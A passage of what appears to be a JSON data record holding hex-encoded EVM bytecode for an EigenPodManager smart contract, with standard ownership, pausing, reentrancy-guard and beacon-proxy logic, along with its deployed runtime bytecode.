88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a2646970667358221220399497eab4459a973826c435240cfd79916cb991f3ddb98b84a2d2a19866f8da64736f6c634300081c00330000000000000000000000004242424242424242424242424242424242424242000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "output": "0x6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e81565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d6573746